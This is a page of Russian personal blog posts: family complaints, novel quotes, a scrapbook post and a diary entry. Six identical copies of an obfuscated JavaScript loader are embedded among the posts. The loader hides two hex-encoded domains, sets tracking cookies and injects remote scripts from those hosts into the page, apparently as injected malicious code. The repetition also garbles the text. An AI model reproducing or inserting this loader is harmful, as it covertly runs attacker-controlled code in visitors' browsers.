Если не устраивает собственная жизнь, так сделай что-то. Если не можешь терпеть своих родственников, то просто уедь. Покинь город и поедь куда-нибудь. А ведь она находит вечные оправдания себе, чтобы ее опять же пожалели. Раньше этим оправданием была я. Но я-то уже не маленькая и скоро еду учиться в Польшу. Другим оправданием являются ее родители… Ну, тут может и не поспоришь и она правда не может покинуть их. Но ведь она же может изменить свою жизнь? Конечно, может.

Люди, они таковы, что все зависит от них и, если действительно чего-то возжелать, то можно этого достичь.

Вот я, к примеру, из-за маминого постоянного выноса моих мозгов, с каждым днем все сильнее и сильнее желаю уехать подальше от нее. Хотя прекрасно понимаю, что она - моя мама. Она родила меня и, все-таки, воспитала и многое пережила из-за меня, ведь я и правда веду себя иногда как откровеннейшая сука и стерва.

По-этому, слегка перебесившись в этом посте, я вновь буду выслушивать ее и страться всеми силами достичь вершин, чтобы хоть к ее 47-ми годам, она могла достойно жить.

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20231", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20231", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20231", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20231", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20231", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20231", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

"Дорогие девушки, расширяйте свой внутренний мир, потому что красивая кукла может надоесть, а исследование ебанутой натуры затягивает."

Отличное утро. Нет света, воды, друзей и книг. В желудке чашка кофе с молоком и хочется курить. Хоть и не курю.

"Только не раскисай. В том и состоит твоя задача в нашей тяжелой жизни - сохранить сердце любящим и не раскисать не смотря ни на что. Чтобы не случилось, держи себя в руках и не падай духом. Повторяй, как девиз по жизни."

" I’ve blamed her for all of this , for leaving, for ruining me. And maybe that was the seed of it, but from that one little seed grew this tumor of a flowering plant. And I’m the one who nurtures it. I water it. I care for it. I nibble from its poison berries. I let it wrap around my neck, choking the air right out of me. I’ve done that. All by myself. All to myself."

“I get it now.
I have to make good on my promise. To let her go. To really let her go.
To let us both go.”

A day might be just twenty-four hours but sometimes getting through just one seems as impossible as scaling Everest.”

There are so many things that demand to be said. ‘Where did you go? Do you ever think about me? You’ve ruined me. Are you okay?’ But of course, I can’t say any of that.”

But I’d do it again. I know that now. I’d make that promise a thousand times over and lose her a thousand times over to have heard her play last night or to see her in the morning sunlight. Or even without that. Just to know that she’s somewhere out there. Alive .

“Letting go. Everyone talks about it like it’s the easiest thing. Unfurl your fingers one by one until your hand is open.”

I needed to hate someone and you’re the one I love the most, so it fell on you.”

“You were so busy trying to be my savior that you left me all alone.”

Her hands were freezing, just like they always were, so I warmed them, just like I always did.

“And then Adam Wilde shows up at Carnegie Hall on the biggest night of my career, and it felt like more than a coincidence. It felt like a gift. From them. For my first recital ever, they gave me a cello. And for this one, they gave me you. ”

Gayle Forman in Where She Went

Together

Всем привет!
Как же давно не писала таких вот постов. К тому же мне есть что рассказать с:

Через два года мы с девчонками наконец все-таки обрели свой новый "альбом". Такое вот простое у него название. Это наш пятый по счету. Его суть в том, что мы записываем туда все, что с нами происходит, рисуем, делаем творческие странички. Очень крутая штука, кстати. Каждый берет его к себе домой по очереди или идем на улицу в тихое место и добавляем какие-то новые штуки вместе

Когда скучно, а просто слоняться по улицам уже надоело, всегда можно занять свои руки и пофантазировать. Выглядит это так:

Мы уже нашли свое место, куда приходим, чтобы поиграть в карты, посидеть в тишине и сделать новые страничке в нашей книге.
Это так по-детски, но безумно круто :D

вот как же страшно, если нет в тебе определенности никакой такой. все, конечно, с медленной скоростью поворачивается на 180 градусов, а принять то это тяжело, после всех собственных гнилостных мыслей, даже порой озвученных голосом наедине и некоторым, что так (волнистой линией подчеркнуть) и быть не может. ну нет, не надо забегать вперед, мое воображение.

Почти половина прошла. Наконец-то! Утром съездила на практику, делала землю. Уже не так долго, как в первый раз. Отпустили в 12. Игорь за мной заехал и мы поехали к собаке. Она очень обрадовалась нам. Сразу тяжело было, поцарапала руку. Мы ее покормили, выгуляли. Потом сходили за продуктами, Таня ничего не оставила почти. Мне позвонила бабушка и наругала за мое поведение в Зеленогорске. Потом опять покормили собаку, погуляли с ней. Мне пришлось ни раз за ней убирать. Приготовила поесть, немного прибралась в квартире. Встретили Мишу, сходили в Баскин Роббинс. Игорь мне проспорил. Не такое уж и вкусное мороженое для 200 рублей за 2 шарика. Еще раз погуляли с собакой, убрала то, что она разбросала. Из-за того, что она не слушается команды на все уходит много времени. Поиграли в карты, потом они проводили меня до Насти. У Насти посмотрели серию Бруклин 99 и попили чай. Быстро уснула. Скучаю по Димуле, он приболел: (